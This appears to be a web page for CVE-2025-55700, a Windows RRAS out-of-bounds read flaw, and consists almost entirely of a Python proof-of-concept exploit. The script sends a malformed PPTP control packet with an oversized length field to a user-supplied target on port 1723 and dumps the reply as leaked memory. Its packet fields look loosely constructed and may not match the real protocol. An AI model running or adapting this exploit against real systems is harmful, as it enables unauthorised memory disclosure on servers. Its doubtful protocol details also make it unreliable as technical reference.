CVE-2025-55700 Windows RRAS越界读取信息泄露漏洞

# CVE-2025-55700 PoC - Conceptual Proof of Concept # Out-of-bounds Read in Windows RRAS # WARNING: This is for educational/research purposes only import socket import struct import sys # RRAS typically listens on these ports RRAS_PORTS = [1723, 1701, 443] # PPTP, L2TP, SSTP def build_malformed_packet(target_ip, port): """ Build a malformed RRAS protocol packet to trigger out-of-bounds read vulnerability (CVE-2025-55700) """ # PPTP Start-Control-Connection-Request with malformed length field pptp_header = struct.pack('>BBHI', 0x1, # Message type: Start-Control-Connection-Request 0x1, # Reserved 0x1, # Protocol version 0x1c00 # Framing capabilities (deliberately crafted) ) # Craft payload with abnormal length to trigger OOB read # The key is to have a length field that exceeds actual buffer malformed_payload = b'\x00' * 16 # Append oversized data field to trigger out-of-bounds read oob_trigger = struct.pack('>I', 0xFFFF) # Abnormally large length oob_trigger += b'A' * 4096 # Extra data beyond expected buffer packet = pptp_header + malformed_payload + oob_trigger return packet def exploit(target_ip, port=1723): """ Send malformed packet to vulnerable RRAS service """ print(f"[*] Targeting {target_ip}:{port}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) packet = build_malformed_packet(target_ip, port) print(f"[*] Sending malformed packet ({len(packet)} bytes)") sock.send(packet) response = sock.recv(4096) print(f"[*] Received response ({len(response)} bytes)") print(f"[*] Response data (may contain leaked memory): {response.hex()}") sock.close() return response except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 1723 exploit(target, port)